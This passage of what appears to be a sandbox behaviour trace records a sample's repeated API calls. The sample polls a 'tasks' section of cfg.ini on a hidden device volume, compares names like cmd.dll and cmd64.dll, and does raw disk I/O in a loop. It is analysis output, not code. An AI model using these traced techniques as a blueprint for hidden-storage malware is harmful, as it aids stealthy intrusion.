FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.697] KeLeaveCriticalRegion () [0123.697] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.697] ReleaseMutex (hMutex=0xf0) returned 1 [0123.697] Sleep (dwMilliseconds=0x927c0) [0123.707] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.707] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.711] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.711] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.711] KeEnterCriticalRegion () [0123.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.711] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.711] IdePortDispatch () returned 0x103 [0123.711] KeWaitForMutexObject () returned 0x0 [0123.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.711] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.711] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.711] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.711] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.711] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedeb0 [0123.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.712] KeLeaveCriticalRegion () [0123.712] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.712] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.712] KeEnterCriticalRegion () [0123.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.712] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.712] KeLeaveCriticalRegion () [0123.712] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.712] KeEnterCriticalRegion () [0123.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.712] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.712] IdePortDispatch () returned 0x103 [0123.712] KeWaitForMutexObject () returned 0x0 [0123.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.712] KeLeaveCriticalRegion () [0123.712] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.712] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.712] KeEnterCriticalRegion () [0123.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.712] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034fd000 [0123.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.712] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.712] IdePortDispatch () returned 0x103 [0123.713] KeWaitForMutexObject () returned 0x0 [0123.713] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.713] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.713] IdePortDispatch () returned 0x103 [0123.713] KeWaitForMutexObject () returned 0x0 [0123.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.713] KeLeaveCriticalRegion () [0123.713] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.714] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.714] KeEnterCriticalRegion () [0123.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.714] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.714] KeLeaveCriticalRegion () [0123.714] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.714] KeEnterCriticalRegion () [0123.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.714] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.714] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.714] KeLeaveCriticalRegion () [0123.714] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.714] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.714] KeEnterCriticalRegion () [0123.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.714] ExFreePoolWithTag (P=0xfffffa8003bedeb0, Tag=0x0) [0123.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.714] KeLeaveCriticalRegion () [0123.714] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.714] ReleaseMutex (hMutex=0xf0) returned 1 [0123.714] Sleep (dwMilliseconds=0x927c0) [0123.734] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.734] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.734] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.734] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.734] KeEnterCriticalRegion () [0123.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.734] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.734] IdePortDispatch () returned 0x103 [0123.734] KeWaitForMutexObject () returned 0x0 [0123.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.737] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.737] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.737] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.737] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.737] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed340 [0123.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.737] KeLeaveCriticalRegion () [0123.737] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.737] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.737] KeEnterCriticalRegion () [0123.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.737] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.737] KeLeaveCriticalRegion () [0123.737] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.737] KeEnterCriticalRegion () [0123.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.737] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.737] IdePortDispatch () returned 0x103 [0123.737] KeWaitForMutexObject () returned 0x0 [0123.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.741] KeLeaveCriticalRegion () [0123.741] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.741] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.741] KeEnterCriticalRegion () [0123.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003502000 [0123.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.741] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.741] IdePortDispatch () returned 0x103 [0123.741] KeWaitForMutexObject () returned 0x0 [0123.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.741] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.741] IdePortDispatch () returned 0x103 [0123.741] KeWaitForMutexObject () returned 0x0 [0123.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.745] KeLeaveCriticalRegion () [0123.745] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.745] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.745] KeEnterCriticalRegion () [0123.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.745] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.745] KeLeaveCriticalRegion () [0123.745] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.745] KeEnterCriticalRegion () [0123.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.745] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.745] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.745] KeLeaveCriticalRegion () [0123.745] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.745] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.745] KeEnterCriticalRegion () [0123.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.745] ExFreePoolWithTag (P=0xfffffa8003bed340, Tag=0x0) [0123.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.745] KeLeaveCriticalRegion () [0123.746] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.746] ReleaseMutex (hMutex=0xf0) returned 1 [0123.746] Sleep (dwMilliseconds=0x927c0) [0123.746] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.746] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.753] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.753] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.753] KeEnterCriticalRegion () [0123.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.753] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.753] IdePortDispatch () returned 0x103 [0123.753] KeWaitForMutexObject () returned 0x0 [0123.753] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.753] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.753] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.753] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.753] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.753] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedc60 [0123.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.753] KeLeaveCriticalRegion () [0123.753] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.753] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.753] KeEnterCriticalRegion () [0123.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.753] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.754] KeLeaveCriticalRegion () [0123.754] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.754] KeEnterCriticalRegion () [0123.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.754] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.754] IdePortDispatch () returned 0x103 [0123.754] KeWaitForMutexObject () returned 0x0 [0123.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.754] KeLeaveCriticalRegion () [0123.754] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.754] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.754] KeEnterCriticalRegion () [0123.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.754] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003575000 [0123.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.754] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.754] IdePortDispatch () returned 0x103 [0123.754] KeWaitForMutexObject () returned 0x0 [0123.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.754] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.754] IdePortDispatch () returned 0x103 [0123.755] KeWaitForMutexObject () returned 0x0 [0123.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.755] KeLeaveCriticalRegion () [0123.755] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.755] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.755] KeEnterCriticalRegion () [0123.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.755] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.755] KeLeaveCriticalRegion () [0123.755] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.755] KeEnterCriticalRegion () [0123.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.755] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.755] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bedd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.755] KeLeaveCriticalRegion () [0123.755] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.755] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.756] KeEnterCriticalRegion () [0123.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.756] ExFreePoolWithTag (P=0xfffffa8003bedc60, Tag=0x0) [0123.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.756] KeLeaveCriticalRegion () [0123.756] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.756] ReleaseMutex (hMutex=0xf0) returned 1 [0123.756] Sleep (dwMilliseconds=0x927c0) [0123.766] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.766] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.772] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.772] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.772] KeEnterCriticalRegion () [0123.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.772] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.772] IdePortDispatch () returned 0x103 [0123.772] KeWaitForMutexObject () returned 0x0 [0123.772] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.772] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.773] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.773] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.773] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.773] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed4a0 [0123.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 